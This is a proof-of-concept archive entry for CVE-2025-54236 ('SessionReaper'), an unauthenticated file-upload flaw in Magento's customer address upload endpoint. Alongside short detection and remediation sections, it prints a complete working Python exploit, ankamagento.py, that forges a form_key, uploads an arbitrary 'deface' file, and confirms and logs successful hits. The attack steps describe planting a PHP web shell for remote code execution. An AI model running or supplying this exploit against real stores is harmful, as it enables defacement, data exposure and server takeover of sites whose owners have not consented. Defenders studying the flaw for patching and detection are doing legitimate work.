PoC Archive PoC Archive
Critical CVE-2025-54236 patched

Adobe Magento "SessionReaper" Unauthenticated File Upload / LFI (CVE-2025-54236)

by Dx3iZ · 2026-07-06

CVSS 9.1/10
Severity
Critical
CVE
CVE-2025-54236
Category
web
Affected product
Adobe Commerce / Magento Open Source — customer/address_file/upload endpoint (dubbed "SessionReaper")
Affected versions
Magento 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15, and earlier vulnerable releases (per repository README)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherDx3iZ
CVE / AdvisoryCVE-2025-54236
Categoryweb
SeverityCritical
CVSS Score9.1 (per NVD)
StatusPoC
Tagsmagento, adobe-commerce, sessionreaper, file-upload, lfi, customer-address, form-key, cwe-434, python
RelatedN/A

Affected Target

FieldValue
Software / SystemAdobe Commerce / Magento Open Source — customer/address_file/upload endpoint (dubbed “SessionReaper”)
Versions AffectedMagento 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15, and earlier vulnerable releases (per repository README)
Language / PlatformPython 3.x (requests, urllib3) targeting a PHP/Magento e-commerce application
Authentication RequiredNo
Network Access RequiredYes

Summary

Magento’s customer address form exposes a file-upload field (custom_attributes[country_id]) at customer/address_file/upload that is intended to accept a small file attachment (e.g. a document tied to a custom address attribute), guarded only by a per-request form_key value that the client itself generates and submits — no authenticated session is actually required to reach the endpoint. The PoC script generates a random form_key, uploads an arbitrary local file to this endpoint using multipart form data, and the server responds with the storage path of the uploaded file under Magento’s public media/customer_address/ directory. Because uploaded files are not adequately validated (there is no server-side extension/type allowlist tied to the request source) and land in a web-accessible media directory, an attacker can plant a file (e.g. a PHP web shell or other malicious payload) and directly retrieve/execute it from its published URL, achieving unauthenticated file upload that can escalate to remote code execution or information disclosure depending on the uploaded content and server configuration.


Vulnerability Details

Root Cause

The customer/address_file/upload controller processes file uploads tied to the custom_attributes[country_id] form field without requiring a valid customer session — the only “protection” is a form_key cookie/parameter pair that the client generates itself and that Magento does not tie to a real authenticated session at this endpoint (CWE-434: Unrestricted Upload of File with Dangerous Type, combined with a broken access-control/session-validation assumption — hence the “SessionReaper” nickname). From ankamagento.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def scan(url, deface_file):
    base_url = normalize_url(url)
    form_key = generate_form_key()

    with open(deface_file, 'rb') as f:
        files = {'custom_attributes[country_id]': f}
        data = {'form_key': form_key}
        headers = {'Cookie': f'form_key={form_key}'}

        response = session.post(
            f"{base_url}/customer/address_file/upload",
            files=files, data=data, headers=headers,
            timeout=(5, 15), verify=False
        )

    response_json = response.json()
    file_path = response_json.get('file', '')
    clean_path = file_path.replace('\\', '').lstrip('/')
    upload_url = f"{base_url}/media/customer_address/{clean_path}"

Because the attacker both mints the form_key and supplies it as the only “authentication” artifact, and the server accepts the file without a genuine logged-in session or file-type restriction, arbitrary content can be uploaded to a predictable, publicly-reachable media path.

Attack Vector

  1. Generate a random form_key value locally (no login required).
  2. POST a multipart request to <target>/customer/address_file/upload with the target file under the custom_attributes[country_id] field, the generated form_key as both a form field and cookie.
  3. On a HTTP 200 JSON response, extract the file path returned by the server and construct the public URL <target>/media/customer_address/<file>.
  4. GET the resulting URL to confirm the file was stored and is publicly retrievable (the script records confirmed uploads to success.txt and unconfirmed ones to falsepositive.txt).
  5. If the uploaded content is executable server-side (e.g. a .php web shell, subject to server/Magento upload filtering in a given deployment), request it directly to achieve code execution; otherwise the technique still yields unauthenticated arbitrary file disclosure/planting on the media host.

Impact

Unauthenticated file upload to a publicly-accessible Magento media directory, which can lead to website defacement, information disclosure, or — where executable file types are not blocked — remote code execution via a planted web shell.


Environment / Lab Setup

Target:   Adobe Commerce / Magento Open Source instance running a vulnerable
          version (see Versions Affected), with customer/address_file/upload reachable
Attacker: Python 3.x
          pip install requests urllib3

Proof of Concept

PoC Script

See ankamagento.py in this folder.

1
2
3
python ankamagento.py https://TARGET payload.txt

python ankamagento.py https://example.com dxeiz.txt

The script uploads payload.txt (or the second CLI argument, defaulting to dxeiz.txt) to TARGET/customer/address_file/upload, then attempts to verify the file is retrievable at TARGET/media/customer_address/<returned-path>, appending confirmed hits to success.txt and unconfirmed ones to falsepositive.txt.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected files (especially .php or script-like extensions) present under media/customer_address/ that do not correspond to legitimate customer address attachments
  • POST /customer/address_file/upload requests without an accompanying valid customer login session
  • Repeated upload attempts across a scanned list of target Magento sites from a single source IP
  • Outbound requests to a freshly-uploaded file path immediately following the upload POST

Remediation

ActionDetail
Primary fixApply Adobe’s official security patch for CVE-2025-54236 (SessionReaper) and update to a fixed Magento/Adobe Commerce release
Interim mitigationRestrict or disable the customer address file-upload feature if not required, enforce strict file-type/extension allowlisting and disable script execution in the media/customer_address/ directory, and require a genuine authenticated session for the upload endpoint

References


Notes

Mirrored from https://github.com/Dx3iZ/CVE-2025-54236 on 2026-07-06. ankamagento.py is a functional script automating the Magento SessionReaper file-upload/LFI exploit, as confirmed by direct code review.

ankamagento.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import sys
import os
import json
import random
import string
import requests
from urllib.parse import urlparse
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

def generate_form_key(length=16):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def normalize_url(url):
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    parsed = urlparse(url)
    return f"{parsed.scheme}://{parsed.netloc}"

def build_session():
    session = requests.Session()
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    })
    retry = Retry(total=2, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504])
    adapter = HTTPAdapter(max_retries=retry)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    return session

def verify_upload(session, upload_url):
    try:
        r = session.get(upload_url, timeout=(5, 10), verify=False)
        if r.status_code == 200:
            print(f"[+] Confirmed: {upload_url}")
            return True
        print(f"[-] Could not be confirmed: ({r.status_code}): {upload_url}")
        return False
    except Exception as e:
        print(f"[-] Verification error: {e}")
        return False

def scan(url, deface_file):
    base_url = normalize_url(url)
    print(f"[*] Target: {base_url}")

    if not os.path.exists(deface_file):
        print(f"[-] The Deface file could not be found: {deface_file}")
        sys.exit(1)

    session = build_session()
    form_key = generate_form_key()

    try:
        with open(deface_file, 'rb') as f:
            files = {'custom_attributes[country_id]': f}
            data = {'form_key': form_key}
            headers = {'Cookie': f'form_key={form_key}'}

            response = session.post(
                f"{base_url}/customer/address_file/upload",
                files=files,
                data=data,
                headers=headers,
                timeout=(5, 15),
                verify=False
            )

        print(f"[*] HTTP: {response.status_code}")

        if response.status_code == 200:
            try:
                response_json = response.json()
                file_path = response_json.get('file', '')

                if file_path:
                    clean_path = file_path.replace('\\', '').lstrip('/')
                    upload_url = f"{base_url}/media/customer_address/{clean_path}"
                    print(f"[+] Upload successful.")
                    print(f"[*] URL: {upload_url}")

                    if verify_upload(session, upload_url):
                        with open("successfuls.txt", "a", encoding="utf-8") as out:
                            out.write(upload_url + "\n")
                        print(f"[+] successfuls.txt saved to file")
                        return upload_url
                    else:
                        with open("falsepositive.txt", "a", encoding="utf-8") as out:
                            out.write(upload_url + "\n")
                        return None
                else:
                    print(f"[*] Response: {response.text}")

            except json.JSONDecodeError:
                print(f"[*] Not JSON, raw response:\n{response.text}")
        else:
            print(f"[-] Unsuccessful")

    except requests.exceptions.ConnectTimeout:
        print(f"[-] Connection timeout")
    except requests.exceptions.ReadTimeout:
        print(f"[-] Reading timeout")
    except requests.exceptions.ConnectionError:
        print(f"[-] Connection error")
    except Exception as e:
        print(f"[-] Error: {e}")

    return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage     : python3 ankamagento.py <url> [deface_file]")
        print(f"Example   : python3 ankamagento.py https://example.com dxeiz.txt")
        sys.exit(1)

    url = sys.argv[1]
    deface_file = sys.argv[2] if len(sys.argv) > 2 else "dxeiz.txt"

    scan(url, deface_file)

if __name__ == "__main__":
    main()